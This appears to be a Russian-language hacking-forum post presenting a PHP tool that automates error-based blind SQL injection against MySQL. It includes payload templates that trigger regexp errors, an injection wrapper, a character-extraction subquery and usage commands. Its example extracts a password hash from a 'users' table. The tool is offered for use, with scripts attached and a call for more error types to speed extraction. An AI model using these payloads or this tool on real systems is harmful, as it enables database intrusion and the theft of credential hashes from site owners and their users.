Генерация запросов:
2 ошибки обладают особенностями:
1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал
ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "
#1139 - Got error 'repetition-operator operand invalid' from regexp"
2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса.
Вложенные запросы скрипт генерирует сам.
Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний):
1) Раскидывает по 1 букве алфавита на запрос, т.е.
Код:
[1]:1
[2]:2
[3]:3
[4]:4
2) если символы остались, то начинает расставлять их по состояниям, слева-направо, заполняя каждую категорию не более чем на количество равное количеству состояний.
3) Если ещё остались не распиханые символы, идём на шаг 2.
В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро.
Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так:
[1]:1,5,6,7
[2]:2,8
[3]:3
[4]:4
И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов.
Для генерации запросов используется следующая структура:
1) Все запросы хранятся в массиве:
Код:
$queries = array(
"if(%cond%,%then%,(select+1+union+select+2))" => "Subquery returns more than 1 row",
"if(%cond%,%then%,'}x{1,0}')" => "invalid repetition count(s)",
"if(%cond%,%then%,'}x{1,(')" => "braces not balanced",
"if(%cond%,%then%,'}[[:]]')" => "invalid character class",
"if(%cond%,%then%,'}[[')" => "brackets ([ ]) not balanced",
"if(%cond%,%then%,'}(({1}')" => "repetition-operator operand invalid",
"if(%cond%,%then%,'}|'" => "empty (sub)expression",
"if(%cond%,%then%,'}(')" => "parentheses not balanced",
"if(%cond%,%then%,'}[2-1]')" => "invalid character range",
"if(%cond%,%then%,'}[[.ch.]]')" => "invalid collating element",
"if(%cond%,%then%,'}\\\\')" => "trailing backslash",
);
где
%cond% jобозначает место, куда скрипт должен подставить условие,
%then% - место куда скрипт должен вставить следующий подзапрос.
Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт).
2) основной запрос обёртка прописывается так:
Код:
$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";
где
%query% - место куда скрипт должен подставить сгенерированные подзапросы.
3) Подзапросы тут:
Код:
$condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';
где:
%id% - место куда подставится id,
%number% - место куда скрипт будет подставлять номер символа в строке,
%symbols% - куда скрипт будет размещать символы.
4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках:
Код:
$alphabet = array_merge(range('0', '9'),range('a', 'f'));
В принципе это всё нужно только для тонкой настройки.
Работа со скриптом:
veryfast.php url field table [target_id] [send_queries] [alphabet]
где:
обязательные:
url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ)
field - имя столбца
table - имя таблицы
необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .
Пример:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users
Результат работы:
Result: 200820e3227815ed1756a6b531e7e0d2
Total: 42 queries
Если нужно задать алфавит, id и прочее то пишем так:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users 5 15 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
На практике у меня на хеши md5 уходит около 40 запросов.
Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому.
Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек.